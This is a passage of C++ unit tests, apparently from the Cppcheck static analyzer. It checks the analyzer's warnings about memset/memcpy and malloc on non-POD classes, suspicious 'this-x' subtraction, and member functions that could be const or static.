\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n 